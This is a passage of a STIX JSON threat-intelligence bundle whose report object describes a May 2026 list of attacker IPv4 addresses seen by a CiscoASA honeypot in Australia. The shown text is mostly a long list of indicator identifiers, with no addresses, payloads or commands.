{
  "id": "bundle--fd556631-9be2-4423-84ac-71ba6f1988eb",
  "objects": [
    {
      "created": "2026-05-01T02:20:10.718Z",
      "created_by_ref": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "description": "IPv4 addresses observed by CiscoASA honeypot events on T-Pot, aggregated for this calendar month. Deduped to unique sources; private IPs excluded. Location: Australia. Caveat: request lines alone cannot distinguish scan vs successful exploit; device memory inspection is required to confirm compromise.",
      "id": "report--fd556631-9be2-4423-84ac-71ba6f1988eb",
      "labels": [
        "threat-report"
      ],
      "modified": "2026-05-31T04:20:23.952Z",
      "name": "CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "object_refs": [
        "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
        "indicator--c87c2cdd-6d69-4770-8d3a-3376c3def3d1",
        "indicator--7faab735-6de7-493c-86f5-0d040bb1411d",
        "indicator--ae73d329-82c7-4daa-95a8-708d9c613709",
        "indicator--4ff43009-70bd-4290-b212-a25998e1dbe4",
        "indicator--358b12ed-08c9-4463-8fdd-151ad2bee7ee",
        "indicator--b05d0bde-7b49-49b7-80ac-b4247fecd10a",
        "indicator--17f13784-4c35-4a3a-a8ca-c2f5fa34b942",
        "indicator--b7753b19-b490-4dce-b262-32372e91348a",
        "indicator--17a59d16-5e52-4108-9527-10347a179698",
        "indicator--4b4de9f0-c62f-438a-9ddd-117cb0dafa8b",
        "indicator--4da35233-61bb-4bf0-a690-f15345e866c5",
        "indicator--55e2e432-72ba-4854-9fb1-33245082575b",
        "indicator--581ec440-6f99-4ae4-a7ee-b5957bf0716e",
        "indicator--8750c0c3-077f-41a6-9b08-946b701e7ed4",
        "indicator--b7fa5d27-9bb2-443b-8a85-1777b2dd8e9e",
        "indicator--a7a04ed8-9187-4fb9-a5ac-f77e27d4bff3",
        "indicator--909c01bd-feb4-4ae6-874a-75075b3e6aa3",
        "indicator--80509897-54d4-4766-83b7-bef003b52f76",
        "indicator--fd2cb880-6654-4dc5-938c-159ec458574a",
        "indicator--829191e5-fd48-4009-9de3-0d1ffbb6d11d",
        "indicator--eb169d06-f478-4981-8e87-19d99c817be4",
        "indicator--b9fdf34b-d8c2-4702-b728-4dad41832fa4",
        "indicator--650acbae-c9f5-462b-aae0-7f7c8f45f8cc",
        "indicator--4472a798-174c-4dd7-a97a-138d7fb4e2cd",
        "indicator--18f53e46-ef56-4164-8bd5-e0b5c949028f",
        "indicator--651a45fc-62a7-4228-91c5-ec2741996dfb",
        "indicator--125b5ce1-b95d-4a38-aaf5-ba25e701089c",
        "indicator--9f397b05-f0eb-45a1-895a-90f57be6deb0",
        "indicator--7b823826-77ae-46f0-9d1d-c45f3cd49d9e",
        "indicator--edee5faa-f46d-4a7a-9752-55aff47c093f",
        "indicator--c95730cf-c0d2-45b8-8073-a73b53ec0a7f",
        "indicator--eadc1dd1-ce53-4f91-9773-ebaf3283f4d9",
        "indicator--733756eb-e6cb-4ce6-8e50-e4f05f94c641",
        "indicator--a18faf26-0c25-41a3-9259-e0c4e8db387b",
        "indicator--d52f0262-f166-4536-9a45-fe5981be7edb",
        "indicator--e8997d79-4d94-4d77-80f5-7ad07e1ca7d1",
        "indicator--823068f0-8d53-45eb-b441-8f44538223b4",
        "indicator--e1543b3e-8c86-4e18-9f7e-d63f86b54659",
        "indicator--e178286d-cc94-49a8-9511-c7c7ee39df0e",
        "indicator--2d4e27a6-d7bd-4a72-91a7-661736fda2ec",
        "indicator--d94cf6f2-006d-42eb-b318-3548549b5f71",
        "indicator--4ce57d01-18e0-4c9b-834b-0f9f26847717",
        "indicator--481f4022-a578-4c8b-a172-b99bb31b4920",
        "indicator--8b821c6b-6132-488f-8073-3f74262797c6",
        "indicator--c504e325-c62f-4915-a378-c4f85992fc3d",
        "indicator--82b02fde-5b01-4b6d-9393-b750989339b5",
        "indicator--963a7a5f-b5de-4f8b-96bd-8c1631eaf191",
        "indicator--506254fc-9d03-427c-9743-e0c025dca600",
        "indicator--28ca534f-23ea-4557-bb40-22e8f6e17f8e",
        "indicator--21545603-fe8f-470f-b007-bcad45009043",
        "indicator--2443beea-129f-4282-82e4-77525fbb1c2b",
        "indicator--23053201-50db-4f67-bcbe-f0ea9c662991",
        "indicator--65a97fda-eb98-4fe0-8cb7-bbb53ac551d2",
        "indicator--4fde1da0-a6bc-4c85-8866-a590c0fdff52",
        "indicator--7e6d9c75-c5d0-48e5-ab2a-27e3dd41f08a",
        "indicator--884c4a84-ab2c-4bc3-9575-b16e794d2871",
        "indicator--d3b71668-4564-437b-a944-fc46b5f08d85",
        "indicator--c5d24d92-dc80-47ac-b98b-e699af4c8598",
        "indicator--896b36d4-4419-450d-bc52-f17cd55bf1ce",
        "indicator--4b586051-9b21-443b-a44b-863bb1ebde23",
        "indicator--f07a84a9-5d56-4533-abc1-c9c6e56cda41",
        "indicator--b07191b0-47b6-4f1f-9d6a-5d6217b85a0b",
        "indicator--2f148d36-e47c-4ae1-ba99-f8cf1135a866",
        "indicator--e0b97779-f7a2-42eb-8097-b467159975ff",
        "indicator--5a17d529-2d0f-422c-a4fb-b772c8531d58",
        "indicator--4b07889b-2390-461f-8f34-be77af8acfd3",
        "indicator--c91f311e-2275-49a1-8b90-d53d635ee501",
        "indicator--de339e08-5fe2-43f4-bbab-f423ceaec40f",
        "indicator--c11e6c15-6820-4c42-9404-766de01f65d5",
        "indicator--ce304ef6-a511-43c2-a058-22c3cee4a3c4",
        "indicator--825e9023-231a-492e-a320-039b8a4b8a8c",
        "indicator--fd794147-1dc7-431f-b4de-34abebabd77f",
        "indicator--4db3a522-1a15-4ced-8045-2ac967a3f6eb",
        "indicator--26f82ef1-02bb-4409-b32c-4b04c320b721",
        "indicator--53a2ca2d-a3e6-4bfe-b8bd-06fc49544388",
        "indicator--25666730-51c1-4865-9252-8d3c82a50288",
        "indicator--90b15f4b-dcad-4cba-9cbe-d8f22022238c",
        "indicator--c10ebfa1-3da6-47d5-b935-6a2c516991b9",
        "indicator--e8e79fa0-b8d9-4709-b32c-1eda812eed8d",
        "indicator--0cd79bc0-330d-47c4-9f59-7ab2d9ed01f2",
        "indicator--f7b39a77-af4c-450f-8eb8-c72b104d8611",
        "indicator--aa41b5e5-ade0-41c3-870b-c614c77f4ce5",
        "indicator--36bf0fec-7675-4878-842e-300fbd76d28d",
        "indicator--dc7a2c6d-f567-49f3-bcba-9699137ebe34",
        "indicator--9548b194-762d-44d9-b306-8ad073f219a0",
        "indicator--c2a9a3e6-216d-4234-afc4-2d0e51509ff7",
        "indicator--5f554bdd-efcc-44bc-9e1f-de19cba1d8ec",
        "indicator--d63bc834-817b-4e75-a4cb-e528df36994d",
        "indicator--a5a8c805-195b-499b-b002-ba5c33ba0966",
        "indicator--be111397-8b9e-49db-9dba-ef3bba9f4a26",
        "indicator--f03a7a43-6b9b-4187-ac89-0385bd0b5bf5",
        "indicator--fb56e685-2094-40b5-b0b2-d5dae295a939",
        "indicator--1e77c001-ae47-45b6-8f5f-868f2ab78113",
        "indicator--48e76e7d-d9f7-46a0-b29e-60bd90a1f850",
        "indicator--fc0b66ce-b944-4f4e-b2de-5523c143b718",
        "indicator--d7cbd14a-04c8-44c5-acde-538a3c8d704c",
        "indicator--6d96c4e6-70fd-4a6e-a57e-013f5d74b7a7",
        "indicator--70a2ff3d-f6c2-4e08-af67-1d8cbedc538b",
        "indicator--e56bbe8f-91b3-4b07-a9dd-d7859ae3951a",
        "indicator--4fd4ee60-2d74-4bff-a795-c7efafd4d9c2",
        "indicator--4eb17d54-5b2e-41b5-9696-4abf8872b001",
        "indicator--8a1f73b3-50e3-403f-a6ec-32293feb10c9",
        "indicator--4a856eb4-16ab-4f5a-b360-fb0971e1c0bd",
        "indicator--9ac5b098-a7f5-4714-8eeb-32a82b482c97",
        "indicator--798741d4-f7e3-472b-9fb5-2b15a1abfc54",
        "indicator--f8bdc110-5028-4eb4-bb5e-8e1b79f8b400",
        "indicator--fa4560cc-c8fc-4300-85b2-f7b7e5c501c1",
        "indicator--5114d594-8d88-4c26-a70e-b4167af5e291",
        "indicator--401e285d-4bda-4796-84c2-9a18523c7558",
        "indicator--fc6985ed-69bd-4522-b263-5c4c11cb6938",
        "indicator--7175e18d-419c-45fe-82e6-85575be79345",
        "indicator--e3cab3f5-1e99-4fe6-bd4d-baedbebfc711",
        "indicator--41a379b0-3173-449e-878f-3c6b042f330d",
        "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
        "indicator--994de14e-6488-4223-9362-0b0c99ee7ec2",
        "indicator--8390342b-8bfc-4cc5-beeb-334d41a98c05",
        "indicator--99f3ba7b-eef3-4fcc-aa4f-32e0c59849d4",
        "indicator--1aa1f1e6-2641-47b1-9c27-b88617d1f9c8",
        "indicator--0e50c636-72b8-49d4-be25-f24048f70ae4",
        "indicator--3b666309-efb8-418a-a8cc-485ad28f709b",
        "indicator--a9dd5b8a-749f-481f-a496-ab60c6141faa",
        "indicator--33279bdc-a473-4d6d-8a13-c7c2bff5fce5",
        "indicator--20e8a334-b1ac-42cf-8886-c3df4f2ded66",
        "indicator--a06fb371-781c-474e-b1e8-4897421f0e8c",
        "indicator--87eac3c7-4860-461f-9b0f-d82aa2844dec",
        "indicator--3328c6f1-8815-4b7f-8892-31c5d8d85143",
        "indicator--992041c1-897d-434a-b475-2025badb3033",
        "indicator--8eafcb2f-e4bf-46cd-b33a-7b466c7c2167",
        "indicator--ba1ba179-a29a-4676-8539-54a72f60543f",
        "indicator--5315c325-510c-40c3-8e49-398792e699ee",
        "indicator--64ebd8ec-0f0e-486e-8128-32b5ef9bb89d",
        "indicator--e9c0c37d-44c8-4d8e-bda2-3e97c72d8d66",
        "indicator--6c3ea511-00b4-46ee-b2fd-7697b9e49d9c",
        "indicator--9bf6e0fd-590f-48a5-ab10-80d52b49b750",
        "indicator--1b2863db-75be-4234-84f0-b31d7b7bf086",
        "indicator--c297afe7-1df9-4770-aaa5-4246e0998664",
        "indicator--32fa1667-8748-47ab-b202-a787eb7204cf",
        "indicator--cc131b73-a10a-4761-9410-ab85ae9d7bfc",
        "indicator--655a80f5-545a-49a9-99c5-679b5885ab63",
        "indicator--d399ddd2-0f7e-417d-b6cf-0d51f428b714",
        "indicator--a9faf25b-6ef4-485f-9aa3-5ecc6c206be3",
        "indicator--968daa32-10e3-442e-88a1-7c6dca770657",
        "indicator--84e03cda-e553-40bb-b30f-246b0a5533d5",
        "indicator--e38bc7c0-3257-4a41-ad70-19b622f1c913",
        "indicator--1d35f7cf-fa45-4fd3-97e1-33b783194911",
        "indicator--af09a631-de88-475a-9524-536d5f18e454",
        "indicator--9203f10d-b7e5-4771-ad68-255076913931",
        "indicator--a1658bc3-d18e-4d1c-b119-7820f8273391",
        "indicator--308f8e2e-ceae-4c38-813e-eddde8b4dc7e",
        "indicator--55b49f05-9a0b-4bd7-8141-e3e50b98fa78",
        "indicator--f76cd6c9-23a8-44f4-9bf1-6c1bb8cdd193",
        "indicator--cfdac7d8-359b-48dd-8149-63b964c09418",
        "indicator--5216082d-dda1-4b3f-b71b-5360257e8b88",
        "indicator--5325fb29-3b32-4063-9eec-22cb8e102c5f",
        "indicator--ee243df6-9cd8-4fde-b5ea-b1fd63f064f3",
        "indicator--3a812563-e953-402c-9871-7b8861e19cc6",
        "indicator--a4182edc-fe9b-43bd-94d2-048c3258f80c",
        "indicator--cf424b73-4709-42ce-96db-3f6648d9a1bb",
        "indicator--1546b146-ebb5-4104-94db-ea256370cbe3",
        "indicator--c6001d6d-427f-4ded-8c8a-67d5503f0c5f",
        "indicator--8976eb74-ea6c-4006-9ffe-86229b595c53",
        "indicator--3460178e-ba02-4a60-a33a-301974a2e007",
        "indicator--b8135773-220a-4ecb-a6b2-06f18c15bcf5",
        "indicator--64d219df-3f16-4049-9b73-fe735576a80c",
        "indicator--6bd6eab1-3caf-4671-9f85-36078403d07a",
        "indicator--b845c759-48e6-4a54-852b-c2409d5fff81",
        "indicator--1b2af400-a243-4597-b7a0-b13830d67581",
        "indicator--939a5723-0c7d-4d0f-b06d-70e8142cd1d2",
        "indicator--04c73711-348a-4f6f-ba10-d3df864c412d",
        "indicator--6442a9c1-72a4-463a-89ce-3d64d4638185",
        "indicator--e6c7180b-19d4-440b-9e71-aab7d4ebc977",
        "indicator--f6aac32c-d696-433a-a020-48b904bc2f26",
        "indicator--3d07eaec-dc81-4691-a6c6-08e314acc094",
        "indicator--5eb62fa6-5926-410e-852f-babcc73ce753",
        "indicator--e5466fd9-42f3-4b7b-82c5-64cdf336f53e",
        "indicator--c2a72be9-6b34-42a3-b4c0-0ccd4383e360",
        "indicator--5dc6336a-fc37-45e3-95b0-b3a2d5a74129",
        "indicator--4407d77d-4928-4c54-8631-76da1c33a0d3",
        "indicator--fbafa285-8ce4-448a-a3f6-134016fd7dac",
        "indicator--bbff8e45-784b-4320-b7a0-962486201b71",
        "indicator--88d515af-a65a-47e9-b8e8-0ec347d0085c",
        "indicator--3c0ca1b9-f39e-4981-ab0f-2aa64bb294fd",
        "indicator--195b9158-e2a4-4328-a6e0-c85eba121d2a",
        "indicator--eb1bba31-40f0-496e-b33f-ac2f21a39355",
        "indicator--0a884c1a-05fb-468d-9142-08e01268fbd6",
        "indicator--352d07c9-ec2e-45e7-8511-da54e0d8778f",
        "indicator--e7f2cdfc-0d5f-4d97-99cc-5a78b0d094fc",
        "indicator--2500f795-e142-43dc-a9c7-6eb3336d8d42",
        "indicator--0ac7329a-da92-4b19-8903-9c5e4e0f688a",
        "indicator--61b213fb-824b-4fea-a1be-07109765672b",
        "indicator--391b288a-3dbc-4b3a-ad7d-f9d45bdd4ab8",
        "indicator--5ffb3bf3-579a-46c5-9f70-9e0379055347",
        "indicator--7f0c374a-c353-4e3b-9392-0ef227c70663",
        "indicator--89f62eb1-563d-46c7-be77-b57faaaf7ee1",
        "indicator--fffc8ed8-e4e1-45e9-b8c1-091646f99528",
        "indicator--67f3f38c-7f8f-41d0-bf84-5ffb671f5a4c",
        "indicator--d0993109-f955-470b-a67c-0d3dafd9e487",
        "indicator--512d9d46-9033-482f-89ed-c494da2e965d",
        "indicator--482d75be-57a7-485e-a733-5f7f1c5eb6f9",
        "indicator--7cfd0647-ab1a-4b15-bab6-d2db4a6071e0",
        "indicator--15342043-cf46-477f-a159-907dfe3e2f75",
        "indicator--97a36d74-dc6f-49d3-adf5-542b41d575f4",
        "indicator--d52883f9-34c0-492a-bdbd-aa56757e9e2d",
        "indicator--692d43ca-b084-4dcb-82c7-ee1eb9919c38",
        "indicator--ac3016ac-f2f9-42d2-bae8-1f6519b139f3",
        "indicator--f89a55bb-7a02-4e45-a2b4-309a1d335124",
        "indicator--8e372383-481f-4d75-adad-901ae48c3d66",
        "indicator--c91b51f3-58af-4b8a-aaa5-e927592fff82",
        "indicator--3b9fc713-21df-4f36-848e-38584528cf58",
        "indicator--2d8120c3-5a58-4bb0-9cf5-1215632ed421",
        "indicator--6381fbe7-3fb3-4bac-98cb-c98507b7af46",
        "indicator--437719fa-c0f1-4362-85b6-13ad411fbc2f",
        "indicator--bd748842-bf56-4b7d-a166-26d67091fff0",
        "indicator--b38c6af4-9e8a-4429-8f11-42516a8ac58a",
        "indicator--665df67e-8d28-4b98-8600-7f87e40199ba",
        "indicator--01d8432b-1758-47c5-a69f-c72e4b15d0d4",
        "indicator--7fa56cf1-b39f-4231-944e-f3bada064842",
        "indicator--6bb8f759-d8b5-4a9d-b35e-7760b4981be0",
        "indicator--7e1e1fa9-9c92-4f2d-b620-f2b609bef264",
        "indicator--a0c4f4e5-23e0-40fe-88e8-7e4b1b392dbc",
        "indicator--cdd9fd63-2e25-4889-afe1-3b89ad3d167e",
        "indicator--3b8e6ced-5b6d-4483-9b6d-693f520a5c9a",
        "indicator--42ff731e-4d4a-438c-bb79-b40eda3e64a3",
        "indicator--c0ab3647-e544-4347-8ecc-b9f6ad1505dd",
        "indicator--397369e7-6a2c-47e0-ab2c-5d993dceffc5",
        "indicator--5274e960-d121-489c-87a3-92850493a2d4",
        "indicator--81bc11ca-07ed-4350-b5aa-3952d4357f47",
        "indicator--957ff61f-972b-4f10-a98f-c49df2c43728",
        "indicator--25e77b99-dd5d-4ae1-bc21-87474bbd7d2a",
        "indicator--b475c512-4c4a-4574-ac37-3baf742579c0",
        "indicator--b53cf647-f451-46a7-becd-016ee9f537c1",
        "indicator--c73b1dd3-9c7f-487c-b037-2b81e824d53f",
        "indicator--ca253ac3-c47c-4082-891e-040267d4ea25",
        "indicator--ffbd1b14-8163-46dc-b9c3-b201e9604c6a",
        "indicator--3078aea0-4783-4cc7-8492-5108badd8dc0",
        "indicator--d439912c-5911-47e3-8314-89b90effb214",
        "indicator--1f47e0ce-22a5-47c1-b62f-c8d22472ec0c",
        "indicator--ea0aa770-7ceb-4b6e-a8b3-7aa327b5d535",
        "indicator--fbec973d-914a-453e-91ef-c7ef50e971d7",
        "indicator--81eb3b89-acd7-4c6f-b434-b5fa41efdf01",
        "indicator--6da45bf5-28af-4f1f-9c79-424889d33261",
        "indicator--613d7659-a035-43d5-a020-3c8772adf461",
        "indicator--878f520c-c8ea-4213-9450-c8ba3cca18cd",
        "indicator--81333e91-d833-49a9-958e-ceaf2ec4fad2",
        "indicator--7cba3a76-8659-43f2-92ee-20199350fc4f",
        "indicator--b8b325f0-0ddb-4bff-bc24-63ac5bcb0c80",
        "indicator--50ec3232-4ea6-4063-9296-7060ead1e376",
        "indicator--1d3d8df2-5db6-4844-ad9b-17dbdc90aca9",
        "indicator--c9a7d1bb-250e-430e-a1ed-7edc2253926a",
        "indicator--c4e0a745-8f7c-49bd-947e-3850635a796b",
        "indicator--5d328eea-d163-4b30-8259-9145e86cd872",
        "indicator--bb859fd0-0ccb-4dd5-9347-46609d18087f",
        "indicator--7f22e9d1-3cb0-422b-9bb8-cd3697354aed",
        "indicator--c97d7233-f39c-46d9-b864-7ddd0a6c3234",
        "indicator--68a9dc1a-4e4a-49cd-a82d-d19897126e26",
        "indicator--5a21ce9c-5866-4a9a-88bb-b03062892fdc",
        "indicator--53d8ce00-b22f-451e-8048-72438e016bc2",
        "indicator--2231d745-1cce-4a02-b0cd-e8cf5694bc2d",
        "indicator--2d0c1cb2-c5d6-461a-a507-453b0e2ab939",
        "indicator--e9df6973-5791-4750-9f2e-be65dcf21203",
        "indicator--af491789-7d4c-4428-93f8-10f184febbe9",
        "indicator--edaba786-e731-49c5-8724-62296976da04",
        "indicator--958d59cf-8972-48c6-96c9-135004cb1d40",
        "indicator--5fc664c4-9b02-4d2d-bbb4-c7d9c213cebd",
        "indicator--32ab76b7-0d63-4fc2-a04e-1d86cece5f66",
        "indicator--2a26a4a5-75f7-4b9c-b10d-fbeb8dab4f82",
        "indicator--462e1491-476b-4dfb-bb19-092f8740a3c7",
        "indicator--421b2536-ac05-4abb-b7a4-93c1cbe45cbc",
        "indicator--5313e511-5921-4160-9ceb-b1d9cfe1d53c",
        "indicator--e84fc0a3-70ed-4c44-836f-03888779c029",
        "indicator--ee94b536-c9d9-45dd-9761-c5b7582d94f7",
        "indicator--2b40cbce-201b-404e-952e-d3fe53d6b122",
        "indicator--c545d348-be0a-4590-ba46-4b1496935430",
        "indicator--569e7f19-f46c-4cd0-8999-f62307e2750f",
        "indicator--47644009-61ef-4712-b29c-7616f7531089",
        "indicator--bfa62cf1-5a8f-4553-8cb8-9e85bc18c6e8",
        "indicator--63c412b0-0448-4189-b5cc-0a4647e84c46",
        "indicator--dbee0a5b-734e-4987-a7a4-334ff4a64c5c",
        "indicator--7e43467b-ac1e-47b2-8252-9ab9bdcab004",
        "indicator--de733e22-fa30-421c-93e0-a176afe1df7d",
        "indicator--5006a857-c5ae-45f6-83cd-e707e9eef311",
        "indicator--84180fc3-3fbb-4461-9a7b-86594f213092",
        "indicator--1f6a5124-6726-4df3-9b0f-75bdbe5ee0c5",
        "indicator--36cac3e4-ed8e-4c79-b516-4422ce8402d5",
        "indicator--0a69a53c-96d6-4962-b2e7-6436b51d954e",
        "indicator--a44673eb-67d4-4929-8e36-66bd5261862d",
        "indicator--f45b04bd-8825-4847-88ae-ff8586afb386",
        "indicator--5ccf4b36-75db-482b-a785-7a6e2b4813ba",
        "indicator--09539bc5-e033-4013-bb5c-763c50e6d0a6",
        "indicator--beb897b4-f861-4033-9640-1eced7386530",
        "indicator--f0118ee3-a881-439f-94f9-6b5367979625",
        "indicator--d3cff22c-c993-48d2-87e6-fffcb3f6df94",
        "indicator--754c5f46-2ef0-445b-b891-397712ae911c",
        "indicator--6772fda2-c017-4675-a9a6-8a5452a27990",
        "indicator--9a31522a-65f0-46d4-9420-cdd40cacc7bf",
        "indicator--ef6ab4d6-b69b-4bb7-9466-6d0878fea2b2",
        "indicator--8df3b778-006d-4e8b-9214-c21ff5abaf1c",
        "indicator--5427a5aa-2695-4ec4-9758-6122ff5224bb",
        "indicator--0f5211b0-feed-401c-8d9f-cd6a4ec43c8c",
        "indicator--38c40280-c765-437f-92b2-067a1e57ee8f",
        "indicator--923c46a3-9dba-468f-a333-db148789474a",
        "indicator--fc866f88-db29-4d7a-906c-99c27e3b4b7c",
        "indicator--696cdf99-b9ec-48bb-bac0-3ad498c63159",
        "indicator--c467ebbc-6e57-48cc-83f0-bb172787f2e6",
        "indicator--90a2b8f8-da30-43c6-875d-d0436eb792e1",
        "indicator--99189d36-b961-4fc4-ad68-207aa91d2a5d",
        "indicator--e9346123-1b86-4317-81e3-4202f486ff2c",
        "indicator--bb6cf903-afcb-4536-a1aa-41bd58c46a44",
        "indicator--a531ef1c-2dae-48c3-92d6-c48aa29b5901",
        "indicator--43a27bf5-aa82-44c3-ad13-fc8ffb75248b",
        "indicator--7c8ba8f2-230a-4825-b43d-56b5c0693bd3",
        "indicator--ba8c3de8-dd62-42cb-a383-6d9d50c31324",
        "indicator--08cd3958-92ba-4ed5-9dc8-81fff8d4c779",
        "indicator--626c59e4-18bf-491f-ae0c-f4685b2a17f4",
        "indicator--38dc3419-16ce-4014-b561-1c2548b65478",
        "indicator--aea73c77-9a81-4372-a7c5-a9c0cfdbd2a1",
        "indicator--dfff6ed3-08e2-4adb-bbd2-44d66a862851",
        "indicator--5bcece39-4a88-4706-806d-b51ad00b58ab",
        "indicator--08037330-1334-4aa2-b30b-377fe25d13ad",
        "indicator--94280f67-07e5-46e1-930b-96466f86ac83",
        "indicator--8b294264-c7c4-4b86-9b4a-c93817394eef",
        "indicator--3c3c288a-22a0-4782-9fc6-935e95988081",
        "indicator--9a834683-18dd-48ea-9313-2e8e9d1d6ee2",
        "indicator--76b46c4c-4856-41d3-a733-fe493dde152f",
        "indicator--c1066275-6ce2-4fe8-a13b-118ba9ac1d1c",
        "indicator--476b432b-d083-4533-b03f-b47e81db5fd6",
        "indicator--e2ca6f7c-401a-4c0b-ad5f-6db9a3e62da5",
        "indicator--6da483ec-c760-4769-8bea-89f0ca2d7b8b",
        "indicator--09525ade-2f97-4fee-9c06-cd64763bdec8",
        "indicator--0e2b332a-6d1c-4056-94b6-52869187bf77",
        "indicator--89a72fba-fa91-4326-9093-ee853b6d435f",
        "indicator--6592b169-0933-48bc-8f5c-a2204e796fe1",
        "indicator--e42db10a-756a-4b2d-b195-9e4836857c60",
        "indicator--7e2245a7-c7c2-42d0-b020-aed1fb5a7134",
        "indicator--d1e87e80-d3fa-4abb-8e2e-039dcf25bf87",
        "indicator--516583df-d824-4473-bd6e-be0db96af620",
        "indicator--50d4d698-69bc-4add-8ef1-3a598f44c12a",
        "indicator--5652b7da-ef00-4156-96ba-1777b489e3a1",
        "indicator--6beca1a9-10f8-454b-9312-74ada3700d09",
        "indicator--260c44b1-accb-43b7-a1c3-363ee673c81c",
        "indicator--caef232d-2ee3-4ba4-b569-4a0d71457617",
        "indicator--f8d2f082-5de3-4fd7-890f-ad45390169a3",
        "indicator--85cc6462-187c-4ddf-84a1-1525fdcd2f62",
        "indicator--87680e0e-f969-4509-80ae-c8323f810dba",
        "indicator--7efdf628-22e8-4da9-b8b1-77c1f254392e",
        "indicator--039e04c4-1629-404b-a572-0da47d1ee226",
        "indicator--cf9a7361-9590-42b6-9afd-9164a8de873c",
        "indicator--b8196cc5-8d5d-427f-847e-e6ecfdeb329d",
        "indicator--cfd191a5-030f-4072-bcd1-5e45e803f816",
        "indicator--960ece6b-afc3-4408-8b19-9e5bbd4b84ca",
        "indicator--9680d567-2b3d-4c7e-a94f-e15eb8f4f636",
        "indicator--058362da-4cc2-4f4e-9aa3-375381c925ba",
        "indicator--8978255c-5b77-4ba2-8666-fb9de426cd6b",
        "indicator--ce236f89-af0c-4c0f-ba9c-df0581cac55e",
        "indicator--20fa9b81-d28e-4865-a0af-a746004c88f5",
        "indicator--2a0bd4c1-7249-45bb-956f-6449a60bacbe",
        "indicator--0fbd08d4-1768-45af-8660-fd27fe06e80b",
        "indicator--88184ad1-7175-4161-9530-d592a1c073fb",
        "indicator--bd057e86-fc5f-4cd7-94c8-52f56b08efcf",
        "indicator--3a3837f4-af1b-4681-90a5-43e7f8288a3c",
        "indicator--81d03e49-57bf-403a-a4ef-dae70a54ee04",
        "indicator--63d4be58-a479-4e0c-85a6-2b6a4bab3243",
        "indicator--0ca4fd12-f6ba-4e5d-97f5-378f9cc18896",
        "indicator--f1db79f5-4e8e-487c-a985-bc115f795bcb",
        "indicator--5b31e987-b2fe-4d5c-88a7-1700236868c0",
        "indicator--99ac8561-4ae1-4f82-a22c-4bc7106e3487",
        "indicator--caf89131-bfce-4bf3-a550-e6f5f356cee8",
        "indicator--a51c3fdf-d33f-4d4a-80b4-37bfd48fba8d",
        "indicator--ab642918-bea5-4895-afba-89722b074153",
        "indicator--cf405e76-891c-4808-8841-e34e91b1faeb",
        "indicator--e413d5a5-dd27-44a3-9549-ea482639a4e2",
        "indicator--a7415416-b192-4122-91a3-cea431808125",
        "indicator--4e4731c0-6dad-459f-ada7-450b24a27d64",
        "indicator--1e4bb09f-4c53-4b2c-a883-a84a0b4c28a2",
        "indicator--ce15a7c5-9d66-4821-aa71-b7c0122db87c",
        "indicator--c2076bd5-d24c-4f17-891b-afe8a81757c3",
        "indicator--e4e3ab0f-0eb3-46af-b797-36475bd0272f",
        "indicator--ca707d35-9b30-4597-8bb4-18c15548ad68",
        "indicator--6c91596d-f4ca-487e-9798-9835686dbeaf",
        "indicator--2ba5453e-3ed5-42e1-afd9-ded348d76bc8",
        "indicator--73c8ba11-330b-4b33-a35b-803d7cf831c9",
        "indicator--6ad2aba0-1b39-4f97-9487-e6e6c11123f2",
        "indicator--130a8321-ea95-4f52-9790-d6a431f93453",
        "indicator--5fe7f09e-e425-4cff-9dc3-d74d8184f311",
        "indicator--00d2037a-22eb-46ec-992a-75f943c7e487",
        "indicator--2c0b7597-fc6e-4011-a7c6-34bf8a473285",
        "indicator--213ec726-fa41-43d0-b73f-f7bfea8d2b7a",
        "indicator--270a0c51-9c5e-402d-96d4-8491853a0c3d",
        "indicator--2b3a62fa-1a07-439d-808b-1783fe1c2379",
        "indicator--c4dbac70-7a65-4bf4-ae21-b24558761942",
        "indicator--e7a2bda6-a06e-45d4-ae8e-ce12d2884115",
        "indicator--4ed88d92-c020-46ad-9bf4-bbb7100f7706",
        "indicator--1bbdabe4-6aa2-4749-b776-03b0e76db3ff",
        "indicator--c77c4143-7ff5-468d-9540-440d7aa8dafd",
        "indicator--d9edc05e-8f41-4776-8284-70671902b54f",
        "indicator--f270b115-f2f1-4782-a01a-82d8c0d9c0f6",
        "indicator--238ba3ee-a0a2-4478-bf38-72d5ce5a3534",
        "indicator--4345bd3a-62ba-4af4-bcbb-d46c6b5a4dce",
        "indicator--9a881028-4e82-4dbd-b64e-802ed1d98bb5",
        "indicator--9851012e-c713-4cd6-b3c4-4addd0af6241",
        "indicator--201cb6ee-a7c0-4042-a131-a8365a540de7",
        "indicator--0de68015-ac49-4585-a68a-bc1a7d9398a5",
        "indicator--7a01c260-0b26-4627-89fa-5471c001abd9",
        "indicator--0ebcfc4a-4142-4e18-9a92-707a0306f129",
        "indicator--1572310e-b0bd-4923-8cbc-11c4e047d555",
        "indicator--8cd54ffa-f4e6-4179-9bbc-455a371f0f5e",
        "indicator--5da19028-7bd6-404a-b64f-50651c55ec92",
        "indicator--ffd4c4c3-d7b6-49c4-be92-5b53fa436b30",
        "indicator--d6fe9326-b104-4298-924a-10a9c5101ed1",
        "indicator--93b1c808-6354-49ac-81e6-24e9a5426609",
        "indicator--7ae33a04-17dd-4d42-93b1-011feb242889",
        "indicator--b921ae9c-3b1c-48b0-bee1-e405741e0a6a",
        "indicator--bcd28887-c259-42e9-8cb9-a8036697ae27",
        "indicator--46244a8d-8244-442a-a240-f8ab1627db42",
        "indicator--06e1b894-8692-42b6-928a-96faa3f06a59",
        "indicator--e25c71f4-2760-42a6-b9b5-137211f125f2",
        "indicator--32a6eabb-5268-40b0-b702-b19e723ae9a1",
        "indicator--63a9b8b6-f620-42f9-96ef-f24a3520b269",
        "indicator--285b6672-1f19-47b4-89db-c1380e8609e4",
        "indicator--6d6b9eea-1c30-43ae-8ef3-0d496ce5725a",
        "indicator--85edcc56-17ca-40ad-9c28-63e1e23da451",
        "indicator--dba3dd1b-3a06-4891-b0b9-bd831e20c5df",
        "indicator--ded6f7b6-0224-47a2-bbe7-5e23c342b056",
        "indicator--c4ba10ea-1d65-48af-a605-0b71a5f2753b",
        "indicator--0095e8dc-2bc1-443b-8499-19276de1c22a",
        "indicator--cab4d5f3-9225-4e41-8fd7-541991c9d14c",
        "indicator--872873d5-53be-4191-9687-cacb37342f62",
        "indicator--71ac64af-5df0-4014-a3ea-30c259242908",
        "indicator--c7bca282-3041-4f2f-9a65-b6587052ea99",
        "indicator--ab4247ab-8b13-404c-b53a-673002fdde79",
